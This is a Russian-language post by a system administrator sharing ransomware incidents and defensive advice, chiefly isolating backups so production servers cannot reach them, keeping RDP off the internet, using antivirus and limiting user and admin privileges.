Человек предложил мне поделиться своим опытом на этот счёт. Я сам не раз сталкивался с шифровальщиками. Бэкапы не терял, только данные, к которым был доступ у пользователей. Сначала не хотел писать, так как тут чего-то нового или особенного не расскажешь. Подойдут обычные мероприятия по защите от вирусов. Потом всё же решил написать, чтобы лишний раз напомнить о том, что от шифровальщиков никто не застрахован. Лучше лишний раз поразмыслить над тем, что ты будешь делать, если завтра тебе все данные зашифруют.
Я всегда так делаю. Мысленно представляю, что завтра у меня недоступны некоторые или все сервера. Какой план на этот счёт? Чтобы не было всех серверов, сразу отсекаем по максимуму доступ к бэкапам. Я уже много раз писал и рассказывал:
❗️Бэкап-сервера должны сами ходить за данными. У серверов с данными не должно быть полного доступа к бэкапам.
Иногда такую схему трудно организовать, или просто неудобно. Может быть по-другому. Но хоть одна копия бэкапов без доступа с рабочих серверов должна быть. Иначе будет как у автора комментария к заметке, когда все бэкапы были зашифрованы с самих серверов.
Подробно про бэкапы я не так давно рассказывал в отдельных заметках:
⇨ Два принципиально разных подхода к созданию бэкапов
⇨ Проверка бэкапов
По моему мнению надёжные бэкапы - основа спокойной жизни админа. Дальше уже реализуем другие организационные меры:
🔴 Закрываем доступ из интернета к внутренним сервисам. По минимуму выставляем их наружу. Не надо без крайней нужды пробрасывать, к примеру, rdp порт. Меня разок через него шифровали. И хотя чаще всего от этого не будет проблем, но раз в 10 лет обязательно найдётся какая-нибудь уязвимость, которая в обход аутентификации позволит выполнить вредоносный код на сервере.
🔴 Используем антивирусы на пользовательских компах. Если у вас бюджетка или прям совсем бедный бизнес, который не может себе позволить купить антивирус, поставьте бесплатный от Касперского. Базово он защитит от вирусов.
🔴 Не давайте пользователям полные права. Вкупе с антивирусом, это закроет большую часть проблем с их стороны. Хоть и не все.
🔴 Не оставляйте свои рабочие места включенными 24/7. Я сам такое практиковал раньше. Удобно, когда рабочий комп всегда включен и к нему можно удалённо подключиться. Сейчас даже дома не оставляю свой рабочий ноут включённым, когда ухожу из дома или надолго отхожу от рабочего места. Выключаю ноут, когда надо - включаю. RDP тоже на нём отключен.
🔴 Не подключайте к своему рабочему компу бэкапы, не настраивайте беспарольные доступы куда-либо, не назначайте лишние права своей учётке в инфраструктуре. Нередко на компы админов злоумышленники заходят руками и смотрят, к чему есть доступ. Если у вас пароли в KeePass, а файл закрыт надёжным паролем, уже с вашего компа ничего не сделать. Пароли в Winbox и Xshell у меня зашифрованы мастер-паролем, на ключе для ssh тоже пароль.
Если сами страдали от шифровальщиков, расскажите, как они заходили к вам и к каким последствиям это приводило. Ко мне один раз заходили через rdp, один раз через письмо у пользователя. У него, кстати, антивирус не помог. Не распознал шифровальщика. Всё, к чему у пользователя был доступ, зашифровали.
#security